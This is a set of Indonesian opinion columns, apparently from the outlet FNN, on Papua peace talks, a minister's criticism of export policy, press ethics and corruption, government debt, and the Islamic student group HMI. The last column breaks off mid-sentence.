by Marthen Goo Jayapura FNN - Mestinya di era modern, orang harus berpikir bijaksana. Mencari jalan-jalan damai dalam menyelesaikan berbagai masalah. Dalam semangat tersebut, maka mekanisme penyelesaian masalah seperti musyawarah untuk mufakat menjadi jalan penyelesaian masalah yang paling bertabat dan mengagumkan. Cara lain adalah dialog atau perundingan bisa dan sangat terbuka untuk dilakukan. Menolak perundingan dan dialog itu cara berfikir primitif, kampungan dan kuno. Jika negara itu meyakini bahwa negaranya menganut sistem demokratis, maka yang dipakai dalam pencarian penyelesaian masalah adalah dengan cara-cara bermartabat dan demokratis pula. Cara itu dengan mengedepankan semangat demokrasi. Bukan dengan kekerasan atau pendekatan militer yang berlebihan, sehingga rakyat tidak berdosa yang menjadi korban. Menghindari korban sekecil apapun itu adalah cara befikir yang orang-orang top yang berkelas dan mengumkan. Menurut Sekertaris Jenderal Asosiasi Mahasiswa Pegunungan Tengah Papua, Ambrosius Mulait, “kita sepakat, kekerasan tidak akan menghasilkan kedamaian. Baiknya mengedepankan gencatan senjata. Daripada bicara sana-sini, tetapi hasilnya tidak berubah. Peristiwa terus terjadi karena pemerintah tidak serius. Pemerintah pusat dan daerah harus mencari solusi masalah Papua secara konprehensif. Hari ini rakyat Intan Jaya membutukan pertolongan semua pihak”.(Jubi.co.id: 19/2/2021). Sementara Komisioner Komnas HAM (periode 2013 -2017), Natalius Pigai dalam mengunjungi Fraksi-fraksi di DPR RI memberikan rekomendasi agar Otonomi Khusus dibekukan dan digelar “Perundingan”. Tentu rekomendasi itu didasari berbagai masalah-masalah di Papua dalam pelaksanaan otonomi khusus di Papua yang tidak Efektif dan Efisien. Kesemuanya agar terciptanya kedamain. Riset yang dilakukan Lembaga Ilmu Pengetahuan Indonesia (LIPI) yang berusaha merumuskan bahwa ada empat akar masalah di Papua. Pertama, masalah sejarah integrasi Papua dan indentitas politik orang Papua. Kedua, kekerasan politik dan masalah pelanggaran HAM. Ketiga, gagalnya pembangunan di Papua dan inkonsistensi pemerintah dalam implementasi Otsus. Keempat, marjinalisasi orang Papua. Tentu empat masalah tersebut masih terus terjadi di era otonomi khusus. Pendekatan yang militeristik masih dianggap sebagai solusi di era modern dan era reformasi. Padahal pembangunan yang diheboh-hebohkan tersebut, menurut pendeta Dr. Benny Giay, “di Papua adalah pembangunan bias migran”. Tentu pembangunan yang dilakukan di Papua jika dilihat dari pernyataan Pendeta Doktor Benny Giay dan hasil penelitian LIPI, justru turut memberikan bobot mempercepat marjinalisasi terhadap penduduk Papua. Apalagi Papua dijadikan daerah operasi militer yang berdampak pada semua sektor. Pendekatan tersebut berbeda jauh dengan yang dilakukan Belanda terhadap penduduk Papua, yakni dengan pendekatan kemanusiaan dan kebudayaan. Mestinya dalam menyelesaikan masalah di Papua, tidak dilakukan pendekatan kekerasan atau militer. Pemerintah bisa mengkaji lebih dalam dari referensi Gus Dur dan referensi yang dilakukan oleh Belanda terhadap pendekatan masyarakat di Papua. Kekerasan Itu Menelan Korban Kekerasan atau pendekatan kekerasan yang dilakukan di Papua hanya mengorbankan warga sipil. Juga mencederai semangat demokrasi yang sudah dibangun sejak 1998 dengan lairnya reformasi. Tujuan reformasi adalah pemenuhan hak asasi manusia bagi semua manusia Indonesia ataupun dimana saja, tanpa batas dan tanpa memandang status golongan, suku, ras atau budaya. Pendekatan kekerasan di Papua telah merugikan rakyat sipil Papua. Ratusan , bahkan ribuan rakyat mengungsi di hutan-hutan. Dimana pun mereka pergi, hak kehidupan mereka diabaikan. Pemerintah belum menyiapkan tempat pengungsian yang wajar dan layak bagi warga. Hak hidup mereka tidak diberi jaminan. Kasus Nduga, Timika dan kini di Intan Jaya pun mengalami peristiwa yang sama. Mestinya pengungsian menjadi tanggungjawab negara. Terkait peran pemerintah (negara) terhadap pengungsian, bisa kita lihat perpedaan perlakukan. Saat warga pendatang atau migran di Wamena mengalami persoalan dikarenakan dampak dari peristiwa rasisme, negara cepat hadir untuk memproteksi dan melindungi warga migran. Hal itu berbeda dengan pengungsian orang asli Papua. keseriusan terhadap untuk memproteksi orang asli Papua tidak terlihat. Ada perlakuan yang berbeda dari negara. Karenanya kekerasan di Papua yang berlangsung begitu lama, dan terus menerus, apalagi diikuti dengan perlakuan yang berbeda, sesungguhnya juga turut merusak Demokrasi. Merusak Ketuhanan Yang Maha Esa (sila pertama), Kemanusiaan Yang Adil dan Beradab (Sila ketiga). Perlindungan terhadap warga. terkhusus sila kelima soal keadilan pun tidak diwujudkan. Terhadap empat hal yang fundamental itu, memberikan bukti ada yang salah dalam implementasi kebijakan yang melindungi segenap warga bangsa dan mewujudkan secara kongkrit pembukaan UUD ’45. Gus-Dur harus dijadikan referensi dalam mengelolah negara untuk memproteksi seluruh rakyat dengan mengedepankan aspek demokrasi (musyawara untuk mufakat), kemanusiaan dan kebudayaan. Gus-Dur pernah telah membuktikan bahwa mewujudkan Papua sebagai “tanah yang damai bisa dilakukan”. Walaupun hanya satu tahun kepemimpinan Gus Dur, Papua sempat menjadi Papua yang damai. Intinya soal “Hati nurani dan keseriusan”. Bukan pada banyaknya kunjungan ka Papua. Kita harus sepakat bahwa kekerasan hanya mencederai kemanusiaan. Merendahkan martabat manusia, seakan manusia tidak memiliki nilai yang humanis. Seakan cara-cara damai tidak bisa dilakukan. Pilihan utamanya hanya kekerasan, dan merusak citra kemanusiaan. Padahal Indonesia telah meratifikasi, dan bahkan merumuskannya dalam Pancasila, UUD ’45 sampai pada UU tentang HAM. Jika kekerasan hanya merendahkan martabat kemanusiaan, maka semua pihak harus bersepakat untuk dilakukannya “gencatan senjata”. Cara kongkrit dan bermartabat yang bisa dipakai sebagai sarana gencatatan senjata tersebut adalah “Dialog atau Perundingan Jakarta-Papua”. Cara damai dan cara-cara bermartabat sesungguhnya sudah harus dilakukan. Dialog Itu Indah Soekarno dikenal dengan “founding father”, selalu berkata “…Jangan sekali-kali melupakan sejarah…” yang kemudian dikenal dengan istilah Jas-Merah. Tentu kekerasan yang berulang-ulang tidak akan dilupakan oleh anak cucu. Akan membuat kebencian seumur hidup dalam perjalanan bangsa. Sehingga, harus dipikirkan cara-cara damai agar kedamaian pun tidak dilupakan, bahkan menjadi prinsip. Ciri bangsa yang bermartabat selalu mencari jalan damai dengan cara bermartabat. Cara itu adalah yang mengedepankan nilai-nilai Ketuhanan, kemanusiaan, keadilan serta mengedepankan demokrasi dan dialog. Jangan dijadikan dimbolis belaka. Indonesia dikenal dengan musyawarah-mufakat, dimana itu sebuah mekanisme yang selalu dipakai dalam mencari solusi damai. Dengan semangat itu, telah dipakai mencari solusi damai di Aceh. Pemerintah menggelar perundingan. Tentu dalam perundingan yang dialukan antara Aceh dan pemerintah pusat, tidak membahas tujuan. Dalam perundingan yang dilakukan membahas tentang masalah-masalah, kemudian dirumuskan solusi bersama. Sehingga, tidak ada alasan untuk menolak perundingan, karena itu mekanisme paling damai menyelesaikan masalah. Sesungguhnya hal yang sama bisa dilakukan di Papua. Mengutip perkataan almarhum Dr. Muridan SW. (peneliti senior LIPI), “dialog itu tidak membunuh”. Itu terbukti juga dalam mekanisme adat di Papua, ketika semangat menyelesaikan masalah yang rumit, dikenal dengan sebutan “Para-para Adat”. Sebuah mekanisme yang dipakai masyarakat adat dalam menyelesaikan berbagai masalah “mari bicara doloo”. Semangat mewujudkan “Papua Tanah Damai”, almarhum Dr. Pater Neles Tebay Pr, saat sebelum meninggal dunia, sebagai koordinator Jaringan Damai Papua (JDP) pernah berjumpa Presiden Soesilo Bambang Yudhoyono, dan kemudian Presiden Joko Widodo menyampaikan pentingnya Dialog Jakarta- Papua untuk menyelesaikan masalah Papua secara holistik. Sayangnya, hal itu belum dilihat penting. Karena dialog belum dilakukan juga pasca pertemuan tersebut. Barang kali kalau setelah koordinator JDP saat itu berjumpa presiden dan proses sudah dilakukan, masalah-masalah yang sekarang sedang terjadi sudah tidak ada lagi. Barang kali sudah tidak ada perang-perangan. Sudah tidak ada lagi pengungsian. Tidak ada lagi rakyat yang korban atau mungkin militer Indonesia yang korban. Tentu saja semua itu belum terlambat untuk mencari cara yang bermartabat, walau banyak yang sudah menjadi korban. Dengan rumitnya masalah di Papua, jika pemerintah ingin menyelesaikan masalah secara menyeluruh sebagai bangsa yang bermartabat, maka cara-cara yang bermartabat bisa dilakukan. Salah satu jalan yang efektif dan efisien adalah harus digelarnya Dialog atau Perundingan Jakarta-Papua. Presiden harus memberikan kewenangan Politik kepada Wakil Presiden KH. Ma’ruf Amin untuk mengurus pelaksanaan perundingan seperti penyelesaian masalah di Aceh. Dengan demikian, Presiden harus mengangkat Special Envoy untuk mempersiapkan semua tahapan sampai perundingan itu terjadi. Penulis adalah Aktivis Kemanusiaan Papua.

Aneh Juga, Kok Menteri Bisa Kritik Kebijakan Pemerintah?

by M. Rizal Fadillah Jakarta FNN - Indonesia memang unik. Bagaimana tidak, setelah enam tahun Presiden Jokowi memerintah, barulah masyarakat diminta untuk melakukan kritik kepada pemerintah. Kritiknya juga yang keras. Sayangnya, banyak yang tidak percaya karena menengok pada sejarah. Presiden yang sama, Jokowi pernah menyatakan rindu untuk didemo. Namun setelah di demo, eh malah banyak yang ditangkap, menjadi korban kekerasan, bahkan ada yang tewas ditembak. Soal kritik ini, keunikan muncul kembali. Ada menteri anggota kabinet Jokowi yang mengeluh atau mengkritik kebijakan Pemerintah. Publik merenung apakah menteri itu bukan bagian dari Pemerintah? Atau mungkin karena tidak ada visi misi menteri, tetapi yang ada adalah visi dan misi Presiden. Sehingga menteri bebas mengkritik visi misi Presiden? Adalah Menteri Koperasi dan Usaha Kecil Menengah (KUKM) Teten Masduki yang curhat berkonten kritik dalam acara Program Kolaborasi Akselerasi Mencetak 5000 Eksportir. Kata Teten, bahwa KUKM telah dipersulit oleh Pemerintah untuk melakukan ekspor. Banyak izin dan sertifikat yang harus dipenuhi untuk hal ini. Akibatnya, KUKM berat untuk melakukan ekspor berbagai komoditas. Sebaliknya, impor dari negara lain justru sangat mudah. Tidak berbelit-belit. Sebagai rakyat, apalagi pengusaha KUKM tentu berharap ada langkah konkrit untuk mempermudah ekspor dan mempersulit impor. Hal ini untuk mendorong semangat agar KUKM menjadi sokoguru usaha masyarakat, yang bukan saja diproteksi tetapi dibantu dan didorong oleh pemerintah. Kenyataan yang terjadi di pemerintahan Jokowi ini berbeda antara langit dengan bumi, jaka dibadingkan eranya Soeharto dulu. Ketika Orde Baru berkuasa, semua yang berbau impor dihalangi dengan berbagai kebijakan pemerintah. Impor hanya dikecualikan untuk barang-barang yang menjadi bahan baku produksi, dan tidak bisa dihasilkan dari dalam negeri. Akibatnya, ribut yang tak berkesudahan dengan organisasi perdagangan dunia World Trade Organisation (WTO) tidak bisa dihindari. Tokoh-tokoh yang terlibat dalam perundingan dengan WTO adalah Rahmat Saleh, Arifin Siregar, Sudrajat Jiwandono dan Billy Yudono. Sementara ekpor, terutama produk-produk dari KUKM harus digenjot dengan segala cara. Makanya, dibentuk Badan Pengembangan Ekspor Nasional (BPEN) di bawah Departemen Perdagangan. Seharusnya Menteri Teten bukan dalam kapasitas mengeluh atau mengkritik. Tetapi langsung saja mengambil kebijakan atau mendiskusikan dengan menteri terkait lainnya, yaitu Menko Perekonomian, Menteri Perdagangan, Menteri Perindutrian dan Menteri Pertanian untuk keluarnya suatu kebijakan yang memudahkan ekspor produk-produk KUKM. Bila perlu "menekan" Presiden agar mengeluarkan kebijakan yang memudahkan dan menguntungkan KUKM. Masyarakat dan pelaku usaha KUKM butuh mendengar dan menjalankan kebijakan yang memudahkan untuk ekspor produk mereka. Tidak perlu diajak untuk ikut pusing bersama pusingnya sang menteri. Apalagi hanya untuk mendengar curhat atau kritikan. Menteri itu bukan pengamat, tetapi pengambil keputusan. Bahasa lainnya menteri adalah Pemerintah juga. Pemerintahan memang kacau, koordinasi dalam kabinet saja tidak bagus. Presiden dan para Menteri cari panggung sendiri-sendiri. Mungkin juga korupsinya sendiri-sendiri. Sampai-sampai saling mengkritik pula. Terlihat seperti kekanak-kanakan. Jadi teringat pada bulan Juni 2020 lalu, dalam Rapat Paripurna Kabinet, Presiden mempertontonkan marah-marah dan mengkritik para menteri di panggung publik. Entah apakah ini pertanda kalau menterinya yang tak becus atau Presidennya sendiri yang kacau-balau? Atau kedua-duanya memang bermasalah? Kasus keluhan, curhat, dan kritik Menteri KUKM Tenten Masduki adalah bukti inkompetensi atau impotensi. Tontonan yang sebenarnya tidak menarik untuk dilihat dan didengar rakyat. Namun apa boleh buat. Masalah utamanya ada kepala pemerintahan yang memang tidak becus memimpin. Kata Cirero, “ikan itu busuknya dari kepala”. Pernyataan Presiden yang menyatakan bahwa tidak ada visi menteri, itu sebagai mengukuhkan sistem pemerintahan presidensial. Presiden sebagai Kepala Negara dan Kepala Pemerintahan. Presiden adalah penanggungjawab. Karenanya kekacauan kebijakan ekspor impor, kemerosotan ekonomi, tingginya hutang luar negeri, hingga pelanggaran hak asasi oleh Polisi, maka muaranya adalah Presiden. Semoga sistem pemerintahan presidensial tidak menyebabkan Presiden menjadi pembawa sial. Apalagi jika berwatak pembual dengan kabinet abal-abal. Membawa Indonesia meluncur terus menuju predikat sebagai negara gagal. Penulis adalah Pemerhati Politik dan Kebangsaan.

Di Mana “Rasul” Kami?

by Zainal Bintang Jakarta FNN - Hanya berselang sepuluh hari, masih di dalam suasana memperingati Hari Pers Nasional tahun ini, mata saya menangkap sebuah arsip yang berisi rangkuman suara hati almarhum Jakob Oetama dalam bentuk naskah pidato berjudul, “Antara Jurnalisme Fakta dan Jurnalisme Makna". Pidato Jacob Oetamaitu disampaikan pada acara “Penerimaan Penganugerahan Gelar Doktor Honoris Causa” dalam Bidang Komunikasi dari Universitas Gadjah Mada Yogyakarta, 17 April 2003. Pemimpin “kerajaan” media grup Kompas tersebuta meninggal dunia 09 September 2020. Menjelang usia 76 tahun kemerdekaan Indonesia dan di usia 75 pers Indonesia, apa yang telah diberikan dunia pers kepada bangsa ini? Tidak ada salahnya mengutip kembali pernyataan JFK (John F. Kennedy) ketika dilantik sebagai Presiden Amerika Serikat ke-35, “Ask not what your country can do for you – ask what you can do for your country”. Artinya, “jangan tanya apa yang negara Anda bisa lakukan untuk Anda ; tanyakan apa yang dapat Anda lakukan untuk negara Anda”. JFK, yang pensiunan Letnan Angkatan Laut Amerika Serikat (1941-1945) tersebut, pernah bekerja sebagai koresponden, Hearst Newspapers (1945-1946). JFK dilantik sebagai Presiden Amerika Serikat ke-35 pada Januari 1961, dan dibunuh, tertembak November 1963 pada usia 46 tahun. Saat ini beredar dua berita “trending topic” di masyarakat. Pertama, Transparency International Indonesia(TII) menyatakan IPK (Indeks Persepsi Korupsi) Indonesia pada 2020 turun ke peringkat ke 102 dari 180 negara. Dibandingan pada tahun 2019, Indonesia menempati posisi ke 85. Kedua, turunnya IDI (Indeks Demokrasi Indonesia) di tahun 2020 versi The Economist Intelligence Unit (EIU). Indonesia menduduki peringkat ke-64 dengan skor 6.3. Sebelumnya 6.48. Di kawasan Asia Tenggara saja, indeks demokrasi Indonesia ada di peringkat empat, di bawah Malaysia, Timor Leste, dan Filipina. Dalam kurun waktu 14 tahun terakhir Indonesia dikategorikan sebagai negara flawed democracy (demokrasi cacat). Sekitar 18 tahun yang lalu, Jakob Oetama dalam inti pidatonya itu telah memprihatinkan gejala “merajalelanya konsumerisme dan hilangnya rasa malu” pada bangsa ini . “Media harus memahami lebih jauh, mengapa korupsi, kolusi dan nepotisme (KKN) merajalela. Apa akar permasalahannya? Latar belakang struktur dan budaya feodal ikut menyuburkan KKN. Demikian pula dengan paham feodal, bahwa power is privilege. Warisan sejarah bisnis yang diungkapkan dengan setiap penguasa ada koneksi bisnisnya. Tertimpa oleh sikap hidup kapan lagi. Merajalelanya konsumerisme dan hilangnya rasa malu”, tulis Jakob Oetama. Frasa “tertimpa oleh sikap hidup kapan lagi, merajelelanya konsumerisme dan hilangnya rasa malu”, yang disinggung Jakob, justru inilah persoalan bangsa yang serius. Infrastruktur moralitas merosot di tengah masifnya pembangunan infrastruktur fisik, seperti jalan tol, jembatan layang dan pelabuhan udara maupun laut. Kader partai politik sebagai pemangku jabatan publik melakukan malpraktik. Korupsi berjamaah, yang didalam berbagai kajian disebutkan, “korupsi materi dan korupsi politik”. Kenyataan iuni menegaskan lemahnya komitmen sekaligus rendahnya kualitas moralitas beberapa politisi. Miris membaca hasil temuan Komisi Pemberantasan Korupsi (KPK). Temuan yang menunjukkan sepanjang tahun 2004 - 2019 terdapat 1152 kasus yang melibatkan pejabat publik dan swasta yang melakukan tindak pidana korupsi. Dari jumlah tersebut, 397 orang diantaranya menduduki jabatan politik. Tercatat 257 orang adalah anggota DPR atau DPRD, 21 orang adalah gubenur dan 119 orang adalah bupati atau walikota. Dimana semuanya berlatar belakang dari partai politik. Reformasi 1998 ternyata tidak serta merta menghilangkan budaya korupsi, kolusi, dan nepotisme (KKN) di tubuh birokrasi Indonesia. Meski telah 20 tahun lebih reformasi berlalu, hingga kini, disaat Presiden Jokowi berkuasa, korupsi tetap saja menjadi “primadona” kekuasaan. Banyak yang menyebut korupsi yang Terstruktur, Sitematis dan Masif (TSM) saat ini sebagai “cacat bawaan” reformasi. Tercatat 11 menteri terjerat kasus korupsi. Tiga diantaranya merupakan menteri sosial. Mengungguli jabatan lain. Pelaku korupsi terbanyak kalangan legislatif dan eksekutif, bahkan yudikatif. Semuanya pejabat publik yang telah mengangkat sumpah dengan kitab suci. Kepada siapa lagi rakyat dapat menggantungkan harapan kemaslahatan masa depan bangsa ini? Sementara itu, pemimpin yang tersedia sebagaimana ditulis Jakob Oetama, mereka yang terlihat sangat bersemangat “konsumerisme dan hilangnya rasa malu”. Mesin Pemilu sebagai wahana demokrasi harus berani dikatakan “gagal total” menyeleksi calon pemimpin bangsa yang ditawarkan partai politik. Ibarat “kawah chandra dimuka”, partai politik gagal sebagai kampus suci penggemblengan mentalitas dan moralitas calon pemimpin supaya kuat, terlatih, bersahaja dan tangkas. Calon pemimpin yang berani tampil berani. Yang menutup semua peluang kejahatan politik. Apapun namanya. Jakob Oetama menyinggung tulisan Samuel P. Huntington bersama Laurence E. Harrison tentang Culture Matters yang disinggung kedua penulis dalam bukunya tersebut. Jakob mempertanyakan, kultur yang mana? Ethika Protestan? Revolusi Meiji, Konfucian, Ascetisme Gandhi, Ascetisme Hatta. Kita punya, kita bahkan termasuk kaya budaya. Bagaimana menjadikan budaya Indonesia sebagai pemicu kemajuan, Pemicu pemerintah yang bersih, Pemicu hidup hemat, kerja keras? Bagaimana berencana serta membangun social trust alias kepercayaan sosial yang kuat, kreatif, produktif? Peringatan Hari Pers Nasional 2021 diisi partisipasi insan pers atau para pekerja media alias wartawan mendukung program FJPP (Fellowship Jurnalisme Perubahan Perilaku) yang diselenggarakan Dewan Pers dan Satuan Tugas Penanganan Covid 19 bersama PWI yang bertema, “Bangkit dari Pandemi, Jakarta Gerbang Pemulihan Ekonomi, Pers sebagai Akselerator Perubahan”. Diberitakan 5000-an wartawan dari Aceh sampai Papua aktif mengampanyekan perubahan perilaku masyarakat supaya taat prokes (protokol kesehatan) sesuai standar WHO. Sembari menangkal berita hoaks terkait Covid 19. Program yang diluncurkan awal Oktober itu, menurut Ketua Satgas Penanganan Covid 19 Doni Monardo, pada Desember mencapai keberhasilan 63 persen program sosialisasi itu mengubah perilaku masyarakat. Dan itu oleh kerja keras dan kerja rela insan pers. Fakta itu membangun harapan dan semangat baru. Besarnya kepercayaan masyarakat kepada insan pers (wartawan) adalah modal sosial yang masif efektif membangun ketahanan akhlakul kharimah untuk “Reinventing Indonesia Baru”, sebagaimana disinggung Jakob Oetama. Bersih dari mental pecundang dan pembonceng gelap demokrasi. Kekuatan Indonesia baru itu sejatinya terkonsolidasi menjadi moral force (kekuatan moral) yang terniscayakan sebagai mesin pendorong gerakan nasional kesadaran rakyat untuk bangkit mengubah aneka UU hasil reformasi. Terutama pasal-pasal di dalam UU yang banyak salah jalan dan melahirkan pemimpin dadakan, yang daripadanya budaya korupsi tersuburkan. Pers Indonesia memikul tanggung jawab moral menjadi obor penerang langit demokrasi dari kegelapan. Rakyat harus didorong keberaniannya bangkit menyita mandat dari komplotan politisi korup yang bermarkas di partai politik. Politikus yang telah disandra para oligarki dan konglomerasi licik, picik, culas dan tamak. Oligarki dan konglomerasi yang tidak pernah puas menghisap darah kakyat negeri ini. Saatnya publik kembali mengampanyekan mentalitas kejujuran dan kesederhanaan sebagai prasyarat utama menjadi seorang pemimpin bangsa. Kita punya tokoh asketisisme legendaris yang harus dijadikan ikon suri tauladan moralitas. Seorang tokoh proklamator yang hingga akhir hayatnya, tidak pernah bisa mampu membeli, walau hanya sekedar sepasang sepatu Bally. Lantaran diikat konsistensi moralitas tinggi yang menolak menunggangi celah-celah kekuasaan. Namanya Bung Hatta! Seorang karib mantan pejabat mengirim pesan WhatsApp, “rakyat Indonesia saat ini merindukan pemimpin jujur”. Rakyat itu kini seakan sedang berteriak, dimana “rasul” kami? Penulis adalah Wartawan Senior Pemerhati Masalah Sosial Budaya.

Awas, Sinyal Utang Mendekati Lampu Merah

LEBIH besar pasak daripada tiang, itulah pepatah yang representatif untuk menggambarkan kondisi utang pemerintah Indonesia saat ini. Akankah kita sebagai negara bisa sustain dengan tumpukan utang yang kian meninggi setiap tahunnya? Tengok saja posisi utang pemerintah pada Desember 2020 sebesar Rp6.074,56 triliun, sebuah realitas utang yang amat besar. Artinya sepanjang tahun 2020 pemerintah menciptakan utang baru sebesar Rp1.257 triliun jika dibandingkan dengan posisi utang Januari 2020 yang sebesar Rp4.817,5 triliun. Sungguh luar biasa. Jika ditelusuri lonjakan utang terbesar di bulan November 2020 yakni sebesar Rp136,92 triliun. Dengan demikian, maka rasio utang pemerintah terhadap produk domestik bruto (PDB) sebesar 38,68%. Narasi apa yang bisa dijelaskan Menkeu Sri Mulyani Indrawati terkait lonjakan utang yang fantastis tersebut? Menkeu berpendapat posisi Indonesia masih relatif cukup hati-hati dengan rasio utang 38,68% tersebut. Dia memperkirakan utang Indonesia akan mendekati rasio 40% dari PDB, namun utang Indonesia masih relatif dalam posisi yang cukup hati-hati atau prudent. Alasannya, rasio utang pemerintah di negara-negara lain terhadap PDB jauh lebih besar ketimbang Indonesia. Bahkan, ada beberapa negara yang rasio utang pemerintahnya melampaui PDB. Misalnya untuk negara maju yakni Amerika Serikat (AS) sekitar 103%, dan Prancis lebih 118%. Lalu, beberapa negara maju lainnya juga memiliki rasio utang yang cukup besar terhadap PDB seperti Jerman 72%, China hampir 66%, dan India mendekati 90%. Lalu untuk negara-negara di ASEAN seperti Thailand 50%, Filipina 54,8%, Malaysia 66%, dan Singapura yang melampaui PDB yakni 131%. Selain itu, menurutnya pemerintah mengutamakan prinsip kehati-hatian dalam menetapkan kebijakan, sehingga kontraksi ekonominya cukup moderat. Lalu, defisit APBN 2020 6,09% jauh lebih kecil dibandingkan negara lain yang di atas 10% seperti AS yang mendekati 15%, dan Prancis 10,8%. Ini artinya apa? Negara-negara ini hanya dalam satu tahun utang negaranya melonjak lebih dari 10%, sementara Indonesia tetap bisa terjaga di kisaran 6%. Argumentasi Menkeu Sri ada benarnya, tapi seharusnya posisi utang pemerintah juga dilihat dari beban bunga terhadap pendapatan negara. Rasio utang pemerintah terhadap PDB memang di bawah banyak negara maju. Tapi utang pemerintah itu juga harus dilihat dari berapa rasio beban bunga. Menurut IMF yang baik adalah maksimal 10% dari pendapatan negara. Rasio beban bunga utang Indonesia sudah 19,2% dari pendapatan negara (termasuk PNBP) pada 2020. Kalau dari penerimaan pajak, rasio beban bunga utang sudah capai sekitar 25%. Saat ini, beban bunga dari utang pemerintah sudah sangat besar. Jadi berdasarkan tambahan tolak ukur ini, maka utang pemerintah Indonesia sudah sangat tinggi sekali. Meskipun rasio utang terhadap PDB masih di bawah 60%. Alasan lain yang perlu dilihat, angka utang pemerintah apabila dilihat dari kemampuan bayar utang atau debt service ratio (DSR) sudah hampir lampu merah. DSR tier I Indonesia terus naik melebihi 25%, padahal negara seperti Filipina cuma 9.7%, Thailand 8% dan Meksiko 12.3%. Dengan melihat perbandingan DSR maka bisa dikatakan utang sudah jadi beban dan kemampuan bayar berkurang. Ini bisa dikatakan lampu kuning sudah hampir lampu merah. Di sisi lain, rasio utang pemerintah terhadap PDB tidak bisa dibandingkan dengan negara-negara maju seperti AS, Prancis, Jerman, Singapura, dan sebagainya. Ini ibarat membandingkan mobil Esemka dengan Mercy, BMW, Lexus, atau bahkan pesawat Airbus, tentu tidak apple to apple. Apalagi posisi Indonesia turun kelas menjadi negara berpendapatan menengah ke bawah. Indonesia cocoknya dibandingkan dengan sesama negara berkembang. Dari porsi utang pemerintah lebih besar dialokasikan untuk belanja pegawai dan belanja barang. Hal itu tentu saja akan menurunkan produktivitas. Kalau beban utang terus meningkat, sementara belanja di sektor produktifnya kalah dengan belanja birokrasi seperti belanja pegawai dan belanja barang. Tugas pemerintahan ke depan tentu akan semakin berat, karena harus mencari penerimaan lebih besar dan itu hanya dapat ditempuh dengan menerbitkan utang baru. Utang yang bertambah namun produktivitas menurun, itu artinya pemerintah hari ini mewarisi beban ke generasi masa depan, generasi milenial dan generasi Z dari tumpukan utang yang amat besar. Hal lain yang cukup memprihatinkan, di tengah rating utang pemerintah yang lebih baik dari Filipina, Thailand dan Vietnam, harusnya bunga utang kita 1% hingga 2% bisa lebih murah. Nyatanya, bunga utang Indonesia 2% hingga 3% lebih tinggi, sehingga akan menjadi warisan bunga utang yang akan melilit leher generasi masa depan, generasi milenial, generasi Z. Apakah kita akan sanggup mengatasi permasalahan utang ini? Kalau pemerintah yang berjalan sudah dapat dipastikan tidak, bahkan pemerintahan yang berjalan menjadi beban anak cucu bangsa. Diperlukan generasi yang menjadi solusi atas permasalahan utang ini.

HMI Untuk Perdamaian Islam (Bagian-1)

by Pramuhita Aditya Jakarta FNN - Dahulu, para pendakwah dan penyiar Islam masuk ke nusantara yang hari ini Indonesia dengan membawa kedamaian. Selain menyiarkan ajaran yang diwahyukan kepada Muhammad Sallaahu Alaihi Wasallam, para penyiar ini juga mendidik dan mengajarkan ilmu-ilmu kehidupan kepada para pribumi. Yang sangat kita kenal selain daripada ilmu aqidah ada juga syariat dan akhlak. Kenyataan ini mendorong peningkatan kualitas berpikir dan hidup ke jenjang yang lebih tinggi. Perlu kita apresiasi jasa kaum muslimin dalam membangun dunia serta bangsa dan negara Indonesia. Hari ini kita nikmati kemerdekaan dan hidup beranak-pinak di dalamnya. Bebas berekspresi dan membangun masa depan negara yang kita cintai ini. Himpunan Mahasiswa Islam (HMI) sebagai salah satu organisasi mahasiswa Islam di Indonesia, patutlah menjadi ikon pembangunan Indonesia ke depan. Organisasi yang malang-melintang dalam perjuangan membangun Indonesia ini sedikit banyak memberikan kontribusi kepada perjalanan sejarah Indonesia masa kini dan masa yang akan datang. Begitulah organisasi mahasiswa Islam ini bermetamorfosis dari zaman ke zaman. Selain untuk kepentingan bangsa dan negara, HMI juga harus mengikuti perkembangan zaman yang kekinian. Sehingga HMI menjadi organisasi yang survive dalam perkembangan zaman. Selalu ada pada setiap dinamika dan perubahan dinamuka kehidupan. Organisasi HMI sudah saatnya membangun sistem kehidupan organisasi yang baik dan benar. Sehingga terwujudnya dinamika yang sehat. Hasilnya tercipta para kader yang cenderung kepada kebenaran (hanif). Maka yang pertama-tama adalah meninjau dan mengevaluasi kembali sistem keorganisasian yang dimulai dari perekrutan, pendidikan dan pelatihan hingga pengabdian. Tawaran untuk pengembangan organisasi yang baik secara kultur maupun struktur adalah suatu langkah strategis untuk pengembangan dan peningkatan sepak terjang HMI di masa yang akan datang. Sebab kita menghadapi hiruk-pikuk perkembangan organisasi-organisasi secara umum di dunia dan secara khusus di Indonesia yang kian signifikan. Jika kita perhatikan secara saksama saat ini, maka organisasi-organisasi tumbuh menjamur tak terkendali. Entah itu organisasi mahasiwa, organisasi masyarakat, organisasi profesi, organisasi buruh, organiasi usaha, organiasi pemuda, maupun organiasi pelajar dan lain-lain. Baik itu yang bersiafat stategis maupun taktis telah tersedia. Lain halnya dengan tahun 1990-an, yang kita kenal hanyalah beberapa organisasi. Apalagi pada kalangan mahasiswa. HMI memiliki pamor yang cukup signifikan. Selain itu, HMI juga menawarkan bergam pengetahuan yang dapat digeluti selain daripada politik kemahasiswaan. Sehingga organisasi yang terkenal dengan warna hijau hitam ini menjadi pilihan utama para mahasiswa. Belakangan banyak tumbuh organisasi mahasiswa, baik intra maupun ekstra kampus, yang bertabuaran di dalam lingkungan akademis seperti jamu tumbuh di musim hujan. Tidak terkecuali juga organisasi-organisasi yang orientasinya meresahkan dan menyebarkan ketakutan, juga bebas aktif dan progresif dalam perekrutan, serta melakukan aktivitas organisasinya. Tumbuhnya organisasi mahasiswa di kampus menjadi pilihan kalangan tertentu mengembangkan bakat, dan menyalurkan hobi yang disediakan dalam berorganiasi. Sehingga hal ini memicu carut-marutnya kehidupan berbangsa dan bernegara kita. Kehidupan yang luhur dan penuh dengan budaya dan adat-istiadat yang beraneka ragam ini. Kuncinya, jika kita akan membangun dan memperbaiki Indonesia, dengan tujuan untuk mewujudkan masyarakat adil makmur, maka kita memperbaiki secara internal organisasi. Yang berkembang ke eksternal merupakan dampak daripada perbaikan internal organisasi. Karena inti perbaikan bisa dibangun melalui pribadi-pribadi, kolektif organisasi dan Negara. Perdamaian Islam Tatanan dunia yang bergerak dengan masif ke arah perkembangan ilmu pengetahuan dan teknologi, menyuguhkan keterbukaan informasi yang bebas tanpa sekat kebangsaan atau kenegaraan. Kondisi perlu dicermati bahwa perkembangan dunia semakin jauh ke depan. Bahkan pada abad ke-21 ini seluruh negara-negara di dunia berlomba-lomba dengan pola dan gagasannya untuk menciptakan dominasi diantara sesamanya. Upaya ini diperkirakan bakal 